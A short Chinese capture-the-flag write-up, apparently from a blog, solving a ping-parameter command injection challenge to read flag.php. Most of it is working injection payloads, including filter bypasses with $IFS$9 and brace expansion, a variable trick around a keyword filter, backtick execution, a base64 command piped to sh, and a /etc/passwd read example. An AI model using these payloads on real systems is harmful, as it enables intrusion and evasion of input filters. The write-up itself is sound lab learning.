现学现卖,若有错误,请指正
打开题目,只有/?ip=
应该是要求以这种方式是传参,先传一个本地的试试:127.0.0.1
利用传参来执行命令:
/?ip=127.0.0.1;ls
先来看看目录:
发现有flag.php,那还说什么,直接cat flag.php看呗:
不能用空格,过滤空格的方法就那么几种:
绕过空格
%20(space)、%09(tab)、$IFS$9、 IFS、IFS
使用<或者<>来绕过空格 cat<a.txt
花括号扩展{OS_COMMAND,ARGUMENT} {cat,/etc/passwd}
$IFS 空格绕过 cat$IFSa.txt
变量控制 X=$'cat\x09./flag.php
试一下,发现$IFS$9(这里的9可以改成其他数字好像也可以)可以用:
cat$IFS$9flag.php
不让用flag,没办法,那就先看看index.php吧:
这里面写了被过滤的东西,其中空格我们已经解决了,现在的问题是flag,想办法让我们的命令中出现flag却又不出现“flag”的字样,我们可以用变量覆盖flag:
/?ip=127.0.0.1;b=lag;cat$IFS$9f$b.php
在网页源代码中可找到flag.
另外,我们也可以想到,在执行ls是我们也得到了flag。PHP,那就可以用内联执行:
/?ip=127.0.0.1;cat$IFS$9`ls`
内联,就是将反引号内命令的输出作为输入执行
也是在源代码中找到flag。
再者,他虽然过滤了bash,但他没过滤sh呀,sh的大部分脚本都可以在bash下运行。
/?ip=127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
flag也是在源代码中。
有位大佬对这道题惊醒了一些总结,有兴趣的小伙伴可以去看看:
https://blog.youkuaiyun.com/qq_42812036/article/details/104297163
(若作者介意请联系删除!!!)